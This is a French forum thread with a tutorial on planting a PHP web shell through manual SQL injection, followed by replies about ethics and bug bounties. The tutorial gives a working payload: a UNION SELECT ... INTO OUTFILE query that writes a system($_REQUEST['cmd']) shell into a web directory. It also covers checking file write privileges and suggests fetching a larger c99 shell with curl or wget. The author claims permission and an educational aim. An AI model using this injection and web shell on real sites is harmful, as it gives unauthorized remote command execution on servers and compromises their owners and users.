Annonce

Réduire
Aucune annonce.

Upload un shell manuellement en SQLI

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Upload un shell manuellement en SQLI

    Bonjour j'avais envie de vous montrer comment upload un shell via une injection sqli manuellement.


    Avant toute chose, je fait ce tutoriel à titre éducatif (après fait comme vous voulez, je suis pas un donneur de leçon)

    Let's go boy

    Avant tout chose je vais prendre un site réel (que je corrige actuellement), mais par sécurité j'en garderai l'anonymat.
    Et sachez aussi que plusieurs méthodes sont possibles (soit upload un shell, ou bien aussi créer un uploader de fichier)

    Pour savoir si on peut injecter du code dans un fichier php d'un site, il faut savoir si on as un droit en lecture et écriture sur ce site.
    Comment savoir celà, tout simplement avec un petit commande sql et connaitre le full path disclosure(là où l'on va écrire votre shell).

    Prenons en exemple sur le site www.shellsqli.fr, et regardons l'erreur après l'ajout d'un quote dans l'url(NB: j'espère que vous connaissez les bases d'une injection sqli)



    Voilà déjà le full path disclosure de trouver, maintenant on va regarder si on as un droit de lecture et d'écriture sur ce site.
    Comment? Regarder c'est très simple.On a juste interroger mysql.user avec la command concat(user(),file_priv) from mysql.user.
    file_priv étant le droit de l'user()




    Parfait tout ça donc l'user ce nomme [email protected] , et le Y signifie Yes, donc l'user à un droit d'écriture.
    Maintenant on à tout ce qu'il nous faut pour continuer.

    Le but ici, est d'envoie du code PHP via la colonnes vulnérable de l'injection SQL dans le full path disclosure
    Le code php:
    Code:
    "<?php system($_REQUEST['cmd'])?>"
    Le full path disclosure:
    Code:
    /home/XXX/XXX/MonShell.php
    Donc l'injection deviens:
    Code:
    http://siteSQLI=-938 'UNION SELECT 1,"<?php system($_REQUEST['cmd'])?>",3,4,5,6,7,8,9,10,11,12,13,14 
    into outfile '/home/XXX/XXX/shell.php'--+



    Voilà cette injection renvoie une erreur, mais quelle belle erreur en faite, car elle indique que l'injection a bien fonctionner.


    Voilà pour finir allons sur notre shell ,que nous venons de créer et via le cmd, et affichons les fichiers avec la commande "dir"


    Voilà le listing s'affiche bien correctement, maintenant vous pouvais aussi utiliser curl ou wget pour upload un shell de type c99.php.

    Voilà j'espère que ce tutoriel vous aura plus

    PS:je ne suis pas un expert en toutes choses, donc les critiques ou modifications ,pour apporté un plus est bienvenue.
    Dernière modification par _47, 13 janvier 2015, 23h44. Motif: modif taille

  • #2
    Y a pas beaucoup de débat sur les sujet, savoir si la communauté recherche des tutoriel de ce genre.

    Commentaire


    • #3
      Bonsoir,

      /mon avis et mes convictions: ON

      Très intéressant, cependant:
      1. Taille d'écriture énorme
      2. Donner des exemples je suis pour, a condition qu'il ne mettent pas en danger des sites web.
      3. conseil: Signale la faille au site, cela montre que tu es dans la philosophie "White" et ensuite peut te rapporter un "bounty*"

      Boounty : récompense en argent ou matériel ou autre moyen.

      /mon avis et mes convictions: OFF
      Writer, Cyber Security Enthusiast! Follow me on Twitter: @SwitHak

      Commentaire


      • #4
        Bonjour L'Ombre,
        Oui j'avoue la police est trop grande
        Sinon rassure toi j'ai la permission du site en question de le tester, je penser l'avoir indique sur le tutoriel.
        La faille est déjà corrigé(celle que je vois actuellement en tout cas).
        Là je tester les failles serveur actuellement, toujours avec l'accord.
        Et j'ai eu un thank du webmaster en bounty.
        Je suis d'éthique white(même si maintenant beaucoups s'en comprennent pas vraiment le sens)

        Commentaire


        • #5
          Merci beaucoup pour ce tuto Jajusa.

          Pour ce qui est du bounty, je dois toujours être tombé sur ces radins. Quelques failles découvertes et aucune récompense. Bande de radins :P.

          Commentaire


          • #6
            Envoyé par Anonyme77 Voir le message
            Merci beaucoup pour ce tuto Jajusa.

            Pour ce qui est du bounty, je dois toujours être tombé sur ces radins. Quelques failles découvertes et aucune récompense. Bande de radins :P.
            Oui ,j'ai ça souvent, mais bon un merci c'est déjà bien.
            Je demande pas plus, car je suis pas professionnel,et puis mon but est d'apprendre pour le moment.

            Commentaire


            • #7
              Superbe Tutoriel jajusa. Comme toujours tes compétences en la matière sont bien présentes. J'espère que tu partageras d'autres tutoriels que je connais déjà et qui sont peu présent sur internet. Pour garder la lice de l'éthique je te conseille de les accompagner par la contre mesure. Ainsi, tu expose l'attaque qui est quand même le fondement majeur d'un Whitehat. Soyons honnête :

              « Qui connaît son ennemi comme il se connaît, en cent combats ne sera point défait. Qui se connaît mais ne connaît pas l'ennemi sera victorieux une fois sur deux. Qui ne connaît ni son ennemi ni lui-même est toujours en danger. » Sun Tzu

              Commentaire

              Chargement...
              X